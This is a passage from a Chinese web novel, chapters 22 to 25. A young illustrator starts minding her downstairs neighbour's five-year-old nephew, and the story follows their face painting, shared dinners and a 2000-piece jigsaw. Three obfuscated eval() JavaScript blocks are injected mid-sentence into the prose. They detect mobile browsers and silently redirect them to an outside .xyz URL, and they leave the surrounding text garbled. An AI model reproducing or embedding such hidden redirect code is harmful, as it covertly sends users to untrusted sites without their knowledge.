电光石火间，她想到某种可能，蓦地停下动作，瞪大眼睛转头，警惕地看着门外！ 难道又是—— “不是我，我刚在做东西，没制造噪音！”一拉开门，她就冲来人自辩道。 门外正转身准备离开的周默顿时一脸茫然：“……？” - 经过又一天的天人交战，周默最终决定在脸面和清净之间选择后者。 又做了许久的心理建设，他终于上楼，敲响了901的房门。 在等待的时间里，他暗自思量着等会儿对方开了门，自己是应该直接道明来意，还是先客套寒暄两句比较好，似乎，是后者比较好一点？毕竟自己之前对人的态度有些冷淡，如今要求人办事，最好还是客气些好吧？ 可直到他寒暄的腹稿都打出来了，却还是没见有人来应门，对着面前一动不动的防盗门，周默好不容易下定的决心又动摇了。 想了想，他又觉得，要不……还是算了吧！ 可没想刚转身要走的时候，门忽然又开了，迟了了从里面探出头，第一句话就成功让他一头雾水。 不过正如那句话所说，幸福都是对比出来的。 以前周默对这话还挺不以为意，但这一刻，他突然深有同感。 看着面前的迟了了一副如临大敌，明显比自己还要紧张的模样，上一秒还百般纠结的他瞬间就平静了。 “不是噪音。”他淡淡地说，“我来，是有件事想麻烦你。” 22. 以毒攻毒 “你是说，你想让我帮你带小朋友？” 901门口，迟了了看着门外高大的男人，惊讶地又重复了一遍刚刚听到的话。 她没听错吧，还以为新邻居是上楼来兴师问罪的，没想到竟然是找自己帮忙带孩子？ 当然她很喜欢小家伙，也完全不介意帮他带小朋友，更别说这事说不定还有个附加收益，可—— 他之前不是还躲着自己吗？ 现在这是……转性了？ “你确定？”鉴于他前后态度的强烈反差，迟了了从头到脚打量了他好几遍，想确认一下这人是不是碰上了什么脏东西？ 她的眼睛极亮，又圆又黑的，很像婴儿的眼睛，又像是山上小溪里被清泉水常年冲刷浸润的黑曜石，即便是在光线不怎么明亮的门口也依然发着夺目的光。 所以，当这番没有宣之于口的怀疑，透过这双眼睛一览无余地展现出来时，周默感觉浑身都不大自在。 刚刚褪去的尴尬再次卷土重来。 他抿了抿唇，低头避开她的目光，往后退了一步，说：“我平时要上班，时间上不太方便。而且你之前说你画儿童绘本，我想应该比较会跟小孩子相处，所以……” 仿佛是彼此心照不宣的约定，到此时周默仍然没有说破他已经知道两人偷偷交朋友的事情。 “我可以付你酬劳。”见迟了了没有反应，他又补充道。 迟了了还是没反应。 周默不禁有些失望：“如果不方便的话，就算——” “方便！”不等他说完，迟了了立刻开口打断他的话，“方便的，我当然可以！也不用酬劳！” 完全没想到她会这样说，已经准备好铩羽而归的周默一时竟有些错愕。 迟了了见他这反应，心里一紧。 “怎，怎么了？”不会是自己答应太快，把他给吓着了吧？ “哦没什么，”周默忙说，顿了顿又问，“你工作时间上，没问题吧？” 迟了了连连摆手：“没问题！我平时就在家工作，地点自由、时间自由！” 那就好，周默松了口气。 看着她毫无芥蒂的笑，再回想自己刚才的种种纠结犹豫，一时间，周默不禁有些鄙夷自己的小肚鸡肠。 他忽然觉得，这位楼上邻居的热情，或许也不那么让人讨厌。 可紧接着，迟了了想到什么忽地面露难色：“可是，那个……” 周默心中一紧：“怎么？” 迟了了为难地看着他，踌躇许久才吞吞吐吐地问他：“那个，小家伙白天要去幼儿园吧？几点呀？” “8点。” 迟了了更为难了：“这么……早呀！” 周默一愣：“早吗？” “8点啊，”迟了了一副可怜巴巴的样子，“我起不了这么早诶……” 她晚上要画画，这半年多以来几乎没在凌晨两点前睡过觉，三四点进入梦乡都算早的，五六点才睡的时候也不是没有，甚至有时候状态来了，或者要赶稿，熬个通宵也不是什么稀罕事。 所以除了偶尔去“或者”帮忙，和有别的事情要做的时候，上午十一点之前的太阳，她几乎没见过。 周默也反应过来，想起第一次见面时，她凌晨三四点还醒着的样子。 “没关系，”他说，“早上我会送他。” “咦？”迟了了一喜。 “其实不用你照顾全天，主要是放学后的几个小时，我上班的时候，麻烦你去幼儿园接他回来，然后陪他玩一会儿就好。而且，”周默顿了顿，又说，“……我也不是，每天都要去公司。” “诶？” 周默不敢给她太多思考的时间，立刻追问：“所以，你是答应了吗？” “对呀对呀！”迟了了果然被转移了注意，连忙点头。 不用早起当然没问题，毕竟每天下午的那几个小时，本就是她的固定娱乐时间。 只是……迟了了有些不懂了，照这结论来看，这跟之前自己和小家伙偷偷来往好像也没什么区别嘛！如果非说不同，也不过是现在算过了明路，可以光明正大地一起玩了？ 有必要折腾这么一趟，搞得郑重其事的吗？ 当然有必要——如果周默得知她心里的想法，肯定会这么说。 除了需要她帮忙接小屁孩放学，自己上班的时候不用来回折腾外，周默最终说服自己的理由还有一个，就是“以毒攻毒”。 现在小屁孩已经不听自己的话，彻彻底底变成了个“熊孩子”。正所谓“以毒攻毒”，用上一个“麻烦”来治眼下的“麻烦”，他俩玩得开心，自己也能躲个清闲，周默认为这个计划简直完美！ 就这样，迟了了全然没想到自己已经被对方拐上了“贼船”，还在兀自窃喜。 - “地下朋友”的关系要转正了，正式的见面和认识也有必要来一次。 于是两人一起去了楼下。 周默上楼时并不确定迟了了会不会答应，所以出门时只跟袁周率说了声自己有事要出去一会儿，让他自己在家玩。 小家伙当然不会乱跑，因为打一回来他就像只孵蛋的小母鸡一样，一直守在阳台边那幅等待晾干的纸浆画前，不时还伸出根小指头一会儿戳戳这儿一会儿戳戳那儿。 周默回来的时候，他正想看看底下那颗海星干了没有，一听到密码锁开启的声音，他赶紧收回手指，摆出一副正襟危坐的表情看过去。 可眨眼间，他淡定的小表情就破功了，圆溜溜的眼睛瞬间一亮，骨碌一下从地上爬起来，就朝周默……身后走过来的迟了了跑过去。 “三三姐姐！” 就在跑到离两人就差几步远的地方时，他又想起什么，脚下紧急刹车！ 不好不好，差点忘了，三三姐姐说不能让舅舅知道他们是朋友呢！ 于是，他又端起一副主人家的姿态，拿出妈妈一直教导的礼仪，乖巧礼貌地对迟了了招招手，笑着说：“三三姐姐，欢迎你来我家做客！” 周默：“……” “先坐吧。”他转头对迟了了说。 迟了了正朝小家伙使眼色，闻言立马回神：“哦，好的！” 等三人在沙发上落座，周默直入正题：“3.14，有件事要跟你说一下，因为我工作不大方便，所以我给你找了个——”他看向迟了了，有点不好定义她的角色。 “呃，陪玩？”迟了了眨眨眼，迟疑地接过他的话。 周默：“……” 似乎不大好听，但也十分贴切，算了，就这么着吧。 “嗯，陪玩。”他说，“接下来这段时间里，每天下午你从幼儿园回来，都会由她来陪你，直到我下班回来。” 小家伙听到这里，从眉毛到嘴角的笑意都快压不住了，但他努力按捺着几乎溢出来的喜悦，看看周默，又看看迟了了：“那，星期六和星期日呢？” 两人对视一眼。 “看你时间？”周默说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818850|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好呀！”迟了了点头。 “耶！——”小家伙终于忍不住了，大喊一声将奥特曼拖鞋甩开，转身就爬到了沙发上，兴奋得像根弹簧似的蹦个不停。 等蹦够了，他又从沙发上跳下来，胖胖的小身板依偎着迟了了，双手紧紧抱着她一只胳膊，笑得十分荡漾。 周默和迟了了本来坐得并不近，可因为他的加入，原本还算宽裕的双人沙发显得狭仄了不少，周默垂眸看了眼近在咫尺的胖脚丫，忍无可忍地往旁边挪了点。 他说完，轮到迟了了了。 “那既然如此，咱们正式认识一下吧！”她从沙发上站起来，转身面对着小家伙，笑着伸出手，“你好，袁周率小朋友，我叫迟了了，你可以叫我迟姐姐，也可以叫我三三姐姐，都行！” 如此郑重的仪式感给足了小家伙被尊重的感觉。 他也坐正身子，清清嗓子，然后握上迟了了的手，奶声奶气又十足认真地说：“你好，三三姐姐，我叫袁周率，就是数学里面那个无限不循环小数，我的小名叫袁小圆，你可以和我妈妈一样叫我袁小圆，或者小圆子，也可以跟舅舅一样叫我3.14。对了对了，我还有个希腊名字哦，叫π！我今年五岁了！” 等他长长的一段自我介绍说完，迟了了早已经目瞪口呆，她按捺住惊叹，转头看向沙发上的男人。 而男人只是淡定地耸耸肩，一脸见过大风大浪的淡然。 - 让周默深感欣慰的是，“以毒攻毒”的计划在正式开始执行的第一天一早，便成效显著。 按照之前的调性，小屁孩起床会十分困难，然而这天早上当周默去喊他时，原本为了赖床能从床头拱到床尾的小家伙竟变得格外积极，只喊一遍就睁开了眼不说，还立刻利落地爬起来，精神抖擞地穿衣洗漱。 不仅如此，就连饭桌上，小屁孩的效率都提高了好几倍：鸡蛋？吃！牛奶？喝！连他最不爱吃的蔬菜也……吃！ 风卷残云般吃完早饭，袁周率小朋友擦擦嘴，兴冲冲看向还在慢悠悠喝牛奶的周默：“舅舅舅舅，你快点！” 得，还催起他来了…… 周默瞥了他一眼，继续不慌不忙地喝完早饭，然后端起碗盘回到厨房，一个个洗刷干净，最后回到客厅。 小家伙早就等不及了，已经趁这个时间穿上园服、背上小书包、拿上小水杯、换好鞋子，迫不及待地站在门口。 “舅舅舅舅——” 周默将电脑塞进包里，听着他一遍又一遍的催促，突然很想恶趣味地提醒他，就算再兴奋，也得老老实实等到下午放学才能见到人。 而且没猜错的话，此时此刻，他期待的那个人应该还在楼上睡大觉。 不过……算了。 一想到点明真相后，小屁孩恐怕又要恢复到一步三彳亍的状态，他还是决定忍住。 难得出门效率这么高，他何必想不开非要自讨苦吃呢。 …… 将小屁孩送去幼儿园，周默驱车前往公司。一想到不用再半下午放下进行到一半的工作回家去陪小屁孩，他顿感浑身轻松，就连半路被人加塞超车，险些发生剐蹭都一笑而过了。 到了中午吃饭的时候，连祝赫都察觉到了他的好心情。 到了下午三点半，当他收到迟了了发来的成功接到袁周率的消息，这份好心情更是达到了巅峰。 ……之所以说是巅峰，是因为晚上回去见到两人后，他的心情瞬间急转直下。 23. 两熊相遇 时间已至五月，白昼渐渐变长，周默下班回到家时，天光还一片大亮。 进门前他一直在想，不知道屋里俩人在做些什么，不过小屁孩跟着楼上那位应该会很听话。 可打开门他却发现，屋里安静得异常，一个人影也没有。 他站在原地思索了片刻，电脑再次打开了那个定位软件。 当看到黑色的窗口上，绿点和红点再度重合时，他放心了——想来是自己不在家，楼上邻居不好在这边待着，所以带了小屁孩去了楼上玩。 既然如此，他也就不再多问了，放下电脑去厨房做晚饭。 没承想饭刚做到一半，某位已经“失踪”多日的母亲突然良心发现打来电话，周默扫了眼手机，面上波澜不惊，继续不慌不忙地翻炒锅里的菜。 就这么又晾了她一会儿，他才接通电话，按下外放。 “喂哥，”一接通，那边袁月的声音便传了过来，怒气冲冲，带着股兴师问罪的味道，“我刚给袁小圆打电话，他那边什么情况？你竟然偷懒把我儿子丢给别人带？我真——” 话刚说到一半，余下的声音便被一阵突然响起的“刺啦”声尽数掩盖了，周默不紧不慢地将水壶放到一旁，等到锅里沸声消退，才看向已经安静的手机。 “你刚说什么？” “……”对面好大会儿没说话。 “放心，3.14挺喜欢她。”周默气定神闲地又说。 袁月本来被他气得不轻，一听这话却哼笑一声：“废话，别说袁小圆喜欢，我也挺喜欢，毕竟她可是能让我那熊儿子一动不动地坐上十分钟，这事儿连我这亲妈都办不到！而且袁小圆还会关心我工作累不累了，别告诉我这是你教的啊。” 周默不屑地扯了下唇：“怎么可能。” “我就知道！”她又说，“但现在问题不是这个，就算袁小圆喜欢、人家小姑娘也乐意，可这也不是你把袁小圆丢给她的理由！我把他送过去是想让——”说到这儿，她突然停了下来。 “让什么？” 那边又是好一会儿没吭气，半晌忿忿道：“反正就是你竟然把这事儿给外包了，这种行为太不道德了！” “你道德，你把他扔我门口。”周默懒懒地说。 这话又把对面噎得半天吐不出一个字。 周默懒得再跟她废话，只说了句“记得一个月时限，不准迟到”便挂了电话，继续专注锅里的菜。 或许是因为闻到了饭菜的香味，等到周默四菜一汤出锅上桌的时候，那边敲门声恰好响起。 隔着门还能听到小屁孩兴高采烈喊“舅舅”的声音。 时间卡得刚刚好，周默对此很是满意，脱下围裙去开门。 …… 如果说，到这一分钟，周默的心情都是悠闲惬意的，那么当打开门看到面前满身狼藉的两人时，他无异于被人当头一棒。 ……第一天而已，眼前这一大一小，怕是玩疯了？ 小的那个，原本白白胖胖的脸上，此时以鼻子为中心，黑色和红色的颜料呈蛛网状散射开来，俨然是个小胖蜘蛛侠的模样。不仅如此，他浑身上下也都是五颜六色的颜料，绿的、黄的、蓝的，头发上、手上、衣服上…… 往旁边再看，大的那个也不遑多让。白皙的脸上左一块右一块尽是看不出形状的颜料，辫成麻花辫的头发已经七零八乱，耳朵旁一只奥特曼发卡正摇摇欲坠地挂在一小缕头发上，以主人没有察觉的高难度动作维持着自己的存在。 显而易见，小的那个脸上的蜘蛛侠面具就是她画的，而她脸上的……则是小屁孩的“杰作”。 托管第一天就给他看这个，周默简直无法估算，自己是用了多大的定力，才没有当着迟了了的面变脸，甚至没有抬手保护一下自己的眼睛。 而一如既往的淡定，也让狼藉不堪的两人完全没有意识到他此刻内心的山崩海啸，仍旧乐呵呵地沉浸在欢乐当中。 “周默，今天小圆子放学后，我先给他吃了水果、喝了水，然后就带他去楼上画画去了！”迟了了撇嘴吹了口气，将几根落在鼻尖上的头发吹开，开始向他汇报今天的带娃内容，“我们玩的面部彩绘，放心，用的都是专门的面部彩绘颜料，对皮肤刺激很小的！” 说着她又低头问小家伙：“小圆子，你今天开不开心？” “开心！！！”小胖墩挺胸抬头，跟在幼儿园被老师提问一样响亮地回答道。 迟了了又指着自己额头上的一团颜色对周默说：“小圆子可有天分了，你看我脸上这只小鸟，是不是很逼真？” 周默朝她手指的方向看过去，顿了一顿：惟妙惟肖没看出来，鸡飞狗跳倒是真的…… 借着推眼镜的动作，他终于忍不住垂下目光，让自己饱受虐待的双眼休息一小会儿。 迟了了没注意他的小动作，冲小家伙笑笑，又骄傲地抬起下巴，一脸求夸奖的表情。 周默：“……谢谢，辛苦了。” “不辛苦，我也玩得很开心！”她灿烂地笑道。 嗯…… “那先去洗洗，准备吃饭吧。”他实在看不下去了，转身往屋内走去。 不想迟了了却摆摆手，说自己晚上约了朋友吃饭，就快到时间了，得赶紧回去换洗一下。 既然如此，周默也不强留，又道了声谢后将人送了出去。 待迟了了离开，周默一回头便发现某个小蜘蛛侠已经坐上餐椅，正不管不顾地往手上戴手套。 “袁周率，”他立即沉声一喝，“去洗澡换衣服！” “啊？”小家伙扭头看过来，涂了一圈黑颜料的大眼眨了眨，不情愿地说，“可是我饿了，吃完再洗不行吗？” 周·铁面无私·默：“不行，鸡翅和蜘蛛侠只能二选一。” 小家伙气得不轻，双手一抱怒气冲冲地瞪着周默：“舅舅真扫兴！” 这指控对周默毫无杀伤力，他面不改色，就这么看着他。 两人对峙了好大会儿，毫无意外，依然是袁周率小朋友落败。 因为他饿了，鸡翅就在眼前，不吃可不行，至于蜘蛛侠面具……下次找三三姐姐再画不就行了！ …… 小孩子情绪来得快去得也快，等哗哗的水声响起，他已将跟舅舅的不高兴抛诸脑后，再次沉浸在兴奋中了。 周默坐在沙发里，听着从浴室传出来的奶声奶气的歌声，终于抬起克制许久的手指，使劲揉了揉额角。 失策了。 ——这是他此刻最大的感受。 他本想着楼上那位虽然看起来是有点热情过头，性格似乎也活泼得有些过头，可到底是个大人，小屁孩又跟她投缘，那让她帮忙带总比自己跟小屁孩整天斗气来得好。 可眼下来看，这哪里像是大人带小孩？分明是两个熊孩子凑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818851|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一起，熊上加熊，威力翻倍，更无法无天了！ 正头痛着，浴室里歌声停下，随即传来一声大喊：“舅舅——我一个人洗不干净——” 周默忍无可忍地闭上眼：……他就知道！ - 热火朝天的街角烧烤摊上，中年老板正在炭炉边翻烤着手上的一大把肉串，不时又拎起一旁的调料粉罐，大开大合地往肉串上挥洒着，片刻工夫，热腾浓郁的香气便从他手下争先恐后地冒出来，乘着夜色中的烟火气和吆喝声，传出去老远。 迟了了刚下车，便看到已经先一步来到的闯闯朝她招手。 “这儿呢！” 她连忙也挥手回应，七拐八拐地绕过一路简易桌子和塑料板凳，蹦蹦跳跳地朝那边过去。 刚坐下，闯闯就递上一杯清爽翠绿的果茶：“喏，给你带的。” “么么哒！”迟了了也不客气，立马接过来，喝了一大口，“啊——好喝诶！” “好喝吧，我今天刚调出来的新品，除了阿葱，你是第一个试喝的。”闯闯扬扬下巴，说道。 “可以可以！非常棒！”迟了了竖起大拇指，对别人，她从不吝啬自己的称赞。 闯闯扬唇一笑，转而又忽地拧起眉：“不过你说的那个是怎么回事？你怎么给人带起娃来了？” 下午她给这人发消息约饭，竟然被告知要晚一点，因为自己要带娃，还是帮楼下那位高冷邻居带娃，这可让她吃了一大惊！ “为了跟新邻居搞好关系，有必要做到这一步吗？” 迟了了又喝了口果茶，嚼着里面的果粒嘟嘟囔囔地说：“顺手嘛，每天也就下午那一小会儿，而且我跟小家伙本来就是朋友，他还是我的小书迷，所以也说不上是‘带?娃’。再说了，你不知道，他可可爱了，特机灵！” 闯闯惊悚地直摇头：“你可真是个珍稀物种，跟邻居们关系好也就算了，竟然还觉得小孩可爱。” “真可爱，”迟了了为小家伙辩解，“不信回头我带店里给你看看！” “别别别别别！”闯闯连连摆手，避之不及。 小孩子，再可爱能可爱到哪去，真正可怕的是熊起来的时候……不过思及此她突然又释怀了，毕竟论“熊”，眼前这个也不遑多让。 “烤串来咯~”正聊着，旁边传来女老板的声音，紧接着一盘喷香油亮的烤串被端上了桌。 “哇——”迟了了登时双眼发亮，放下果茶就拿起两根羊肉串，一根递给闯闯，一根递到自己嘴边，同时不忘说一句，“谢谢老板！” “嗐，客气啥！”女老板热情应着，“不够再加啊！” 迟了了一块羊肉已经进嘴，刚烤出来的羊肉还带着炭火的炙热，把她烫得嘶哈嘶哈的，还一个劲地点头回应。 “你慢着点。”闯闯看着她这馋样直摇头，又对女老板说，“小馄饨也帮我们上来吧。” “好嘞！” 等女老板离开，她看向迟了了：“我还叫了碗小馄饨，咱俩一人一半先垫个底儿，也不能只吃烤串。” “嗯嗯嗯。”迟了了头也不抬地回她。 跟闯闯出门，她从来不用带脑子的。 - 几个小时后，当整座城市陆续进入梦乡，周默坐在床头，在旁边小孩的轻鼾中，仍拿着手机在翻看某购物软件。 最后，经过反复对比，他终于选定，果断下单。 24. 自讨苦吃 “这一块！” “嗯……不是吧，这条线都对不上。” “那这一个？” “嗯，好像，有点像……” “那就是这一个！” 周默回到家，一进门便看到了客厅正中央，沙发前的地毯上两颗凑在一起嘀嘀咕咕的脑袋。 小的西瓜头从一堆碎片中扒拉出一个小碎片，递给大的羊毛卷，大的接过来，先是比画了一阵子，又摇摇头还给他，随即小的又递给她一个，这回她审视了一会儿，收下了。 “我回来了。”周默原地站了片刻，见两人全神贯注，试探着说了一句。 然而两颗脑袋谁都没有太在意他，除了迟了了听到动静半侧过一只耳朵，心不在焉地回了一声“哦——”便又专注手下的事，全程连眼神都没给他一个，另一颗小西瓜头更是抬都没抬。 可周默对此非但没有介意，甚至还挑了下眉，唇角轻轻一勾，一副……十分满意的样子。 经历了第一天的面部彩绘冲击，周默痛定思痛，决定给两人找点事情做，为此他特意找了家同城店铺，并让卖家发了加急快件，这不，这第二天下午东西就送到了。 快递一到，他就发消息告诉楼上，请她帮忙签收一下。 而之后事情的发展如他所料，袁周率小朋友一听说舅舅竟然破天荒给自己买了个玩具，哪里还能多等半分钟，一回家就缠着迟了了把快递拆了——这可是自己住过来后，拥有的第一个新玩具！ 一拆才发现，这“玩具”竟是个拼图，还是个将近有自己那么高、足足2000片的大拼图！——足够两个人拼上好几天了。 为了唤起小屁孩的兴致，周默还特意选了幅由各种动植物组成的森林迷宫图案，甚至连拼图碎片也是各式小动物形状的。 看两人拼得认真，他悄悄放下电脑，去厨房准备晚饭去了。 …… 半小时后，周默将最后一道菜端上餐桌，看向仍窝在地毯上，只是姿势从先前的跪坐变成了趴着的两人。 “先吃饭吧，吃完再玩。”他说。 见两人没有反应，他又叫了声：“3.14。” “噢噢，来了。”小家伙心不在焉地应了句。 周默无奈，只好看向另一人，动了动唇：“……迟了了。” “啊？”这一次，被叫的人终于转过头来。 “吃饭了。”周默又重复了一遍。 迟了了怔了怔，猛地反应过来，一下子就从地上跳了起来：“哎呀哎呀，不好意思！那个，我有点忘记时间了，我先走了啊！拜拜拜拜，明天再拼啊！” 她一边说着，一边跑到门口手忙脚乱地换鞋。 周默被她这激烈的反应弄得有些错愕：“你，有别的事吗？” “啊？那个，我——”迟了了舌头像打了结一样，结结巴巴地看着他。 死脑子，快想啊，怎么回答！ “没事的话，就一起吃吧，做了你的。”还没等她想出来，周默便淡淡说道。 “啊？”迟了了整个人和脑子都一滞。 “有事？”周默眉头微蹙。 “啊——没有！”迟了了瞬间回过神，连忙摇头。 “那就坐下一起吧，”他又看向小屁孩，语气有些不耐，“袁周率，去洗手吃饭！” 迟了了见状，赶紧把穿了一半的鞋子换回去，一溜小跑到客厅，抓起小家伙就钻进了洗手间。 等来到餐桌前，迟了了看着面前的四菜一汤瞪大了眼。 “哇！周默你厨艺这么好呀？！” 周默刚拿起筷子的手一顿，看了她一眼：“……还行吧。” “这看起来可不只是还行，这卖相也太好了！” 如此坦荡的褒奖让周默有些不自在：“不知道你有什么忌口，随便做了点，如果有不能吃的，可以跟我说。” “嗯——”迟了了立刻摆手，“我没什么忌口，我都能吃！” 周默点头：“那就——”他伸出手，示意她可以开吃了。 迟了了也不扭捏，立马夹了个觊觎已久的炒虾尾填进嘴里，尝了尝，立刻朝他竖起大拇指：“超级好吃的！”说着，给小胖墩也夹了一个，“快尝尝，特别好吃！” “他不——”周默刚要开口制止，说他不爱吃虾，却见小家伙已经不由分说地将那虾尾扒进了嘴里。 “……” 一顿饭，迟了了吃得是心满意足，周默厨艺很好，虽然只是几道家常菜，却做得色香味俱全，她本想问问他是怎么学的做菜，自己也好取取经，可到底顾忌周默的性格，没敢在饭桌上说太多话。 而受她的影响，小胖墩也吃了不少东西。 一桌四菜一汤，不过一会儿便被消灭得干干净净。 迟了了放下碗，准备帮忙一起收拾，周默见状走过来，拿过她手里的碗筷：“我来吧。” 她有些不好意思：“其实没关系的，我会用这个洗碗机。” 周默脚步一顿，想起她跟房东的关系，但也没说什么，端着碗碟回到厨房。 迟了了也不好就这么走开，于是站在厨房门口，看着他先将锅碗瓢盆全都冲洗了一遍，又有条不紊地码放在洗碗机里。 倒是周默被她盯得有些别扭，想了想，找了个话题。 “你跟这个房东，从小就认识？” “哦，对呀，我们父母就是特别好的朋友，住得也不远，我们从出生就认识了。”迟了了说。 “他现在在国外工作？” “嗯……也不算，他在国外读博士，现在毕业了，在读博后。” 周默一顿，突然想起一个问题：“你今年……多大？” “27呀。” “那他也27？博后？”这倒让周默有些吃惊。 迟了了撇撇嘴，一脸的不以为然：“许愿那家伙读书是挺厉害的，就是平时有点二。” 周默：“……”看得出来是青梅竹马了。 “这两个房子你们是一起买的？” “嗯呢，我上大学那年买的，楼上楼下，户型一样，连家用电器都是一个型号的。” …… - 让周默很满意的是，接下来几天，每天他都能看到小孩和迟了了趴在拼图前头怼着头一丝不苟的样子。 而随着日子一天天过去，拼图上的森林迷宫也一天天完整起来。 很快又到了周五，三人吃完饭，周默去收拾厨房，迟了了带着袁周率继续拼拼图。 自从那天迟了了在801吃过晚饭后，这几天，每天晚上迟了了都在周默家蹭饭。起初出于对周默“边界感”的呵护，她还客气一番，但随着发现周默确实不介意，她也就放心了。 不得不说的是，周默厨艺真的很不错，迟了了尤其喜欢他做的话梅排骨、可乐鸡翅、青椒酿肉、豆腐煲、糖醋茄子、番茄鱼片汤，还有番茄牛腩！ 好吧，是有点多，几乎是这几天里周默做的所有的主菜了。 不过这不重要，重要的是，今天拼图只剩下最后一部分了，进展顺利的话，今晚应该就能正式完成！ 收拾好厨房，周默出来，见两人拼得认真，便去旁边做自己的事了——这种分工在过去几天里已经心照不宣，他在书房里工作、看论文，或者看书，迟了了和小屁孩在沙发前拼拼图，键盘声翻书声和两人的讨论声互相交杂，却又互不打扰。 倒是有几分岁月静好的样子。 然而就在周默看书看得专注时—— “舅舅……” 一道打着颤的喊声突然将他从文字中拉了出来。 周默抬眼看去，只见刚刚还专心致志趴在拼图上的两人此时正回头看向自己，两张脸上都带着一种奇怪的表情。 “怎么了？”周默起身走过去。 刚到近前，就见迟了了露出一抹讨好的笑，缓缓朝他举起一枚碎片，而后示意了一下身后的拼图。 周默低头看去，才发现拼图竟然已经差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818852|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拼好了。 原本毫无秩序的一堆碎片此时组成了一个热火朝天的森林世界，碧绿葱郁的树冠连成一片，黄色的小路、蓝色的河流和棕色的树干盘根错节，相互交错，组成错综复杂的迷宫通道。此外还有热闹的树屋、闪亮的湖泊、小动物、小房子、小蘑菇，等等。 周默必须承认，这确实是幅漂亮的拼图，甚至肉眼看到的比他之前在网上看到的效果图还要栩栩如生一些。 所以，他们把自己叫过来是要求表扬吗？ 可心思刚起，他的注意力又被森林中间的一块空缺吸引了过去。 随即，他看向迟了了手中。 一种不祥的预感，陡然浮上心头…… 五分钟后。 最后剩下的那枚碎片被摆在拼图中心的空缺旁，两相对比，一个是翠绿色的叶子一角，一个是林间小路的半截，违和感显而易见。 三人围坐一圈，盯着这一幕默默无语。 “……情况，就是这么个情况。”迟了了抿抿嘴，心虚地说。 “所以，你们想让我找出这片叶子原本该在的地方？”周默冷冷的目光扫过两人。 一大一小对视一眼，齐齐开口： “嗯！” “没错！” 周默的回答是转身就走。 笑话，他买拼图是为了让这两人安静下来的，不是为了给自己找麻烦的！ “哎哎哎！”迟了了和袁周率赶紧一边一个抓住他的腿。 “你身为舅舅，怎么能见死不救呀！”迟了了喊道。 袁周率小朋友很是上道，立马发现了她话里的玄机，也跟着喊：“舅舅，救救我们呀！” “……”又是这该死的谐音梗！ 周默额角直跳，低头看向迟了了：“你不是画画的吗？这种东西不是应该很擅长？” “画画跟拼图又不是一回事。”迟了了理直气壮地反驳。 “……那你有没有想过，这世界上有一种美，叫作缺陷美？” 袁周率不同意了，立刻大叫起来：“不要不要，我还要走迷宫呢！” 迟了了也义正词严：“不行！怎么能教小孩子遇到困难就放弃呢？” “所以遇到困难就找我？”周默气得发笑。 他难道是什么专门收拾烂摊子的人吗？！ 事实证明—— ……是的。 周默本不想管这俩人，可拗不过小屁孩一直在耳边闹，当着迟了了的面，他又不好揍他。不仅如此，关键时刻，迟了了还扔了一句王炸—— “你要一直做甩手掌柜吗？” 这一话直接让周默理亏了。 是啊，人一无亲无故的邻居都愿意花那么多时间照看小屁孩、陪小屁孩玩，自己这个舅舅难道要一直作壁上观？ 有句话说的没错，道德绑架确实只能绑架有道德的人。 周默自认道德感不多，但天人交战了好一会儿，还是只能收回逃避的心思，硬着头接下了这个烂摊子。 不过今天天色已晚，三人约定趁明天周末再来重整旗鼓！ - 回到楼上，迟了了洗了澡，穿着睡衣钻进画室，准备开始这一晚的工作。 调颜料时，她又想到周默问自己的那句话：“你不是画画的吗？这种东西不是应该很擅长？” 当时自己怎么回答他来着，“画画跟拼图不是一回事”？ 好吧，确实不是一回事，但——迟了了耸耸肩，更主要的原因是，她不想弄。 嘿嘿，拼图这种游戏，第一遍是好玩，但拼错了重拆可就是体力活了。 再说了，她陪小圆子拼了这么久，也不过是因为拼图刚好能锻炼小家伙对色彩和线条的组织能力，以及动手能力，可不代表她真的什么都没看出来。 她没拆穿，不过是觉得没必要，而且玩拼图也确实有点意思。 至于如今让周默自己收拾烂摊子……没别的意思，就是让他也多点参与感嘛！ 25. 随机应变 第二天，迟了了照旧睡到日上三竿才起。 正刷着牙，她就接到大洋彼岸刚刚下班的许愿的电话。 “妈呀，你这是什么情况？”电话一接通，她就被视频里的人吓了一跳。 镜头里的许愿鼻子通红不说，两只眼睛也泛着血丝，看起来又憔悴又颓废。 “感冒了……”那边许愿瓮声瓮气地说。 “啧，你看你，还说要照顾我呢，结果自己都照顾不好。”迟了了含着满嘴泡沫，看着他无精打采的样子唏嘘不已。 许愿忿忿吸了下鼻子，正要开口反驳，又忽地一僵：“阿阿阿阿嚏！——” “咦——”迟了了嫌弃地后退一步，仿佛那喷嚏能穿透信号打到她跟前似的。 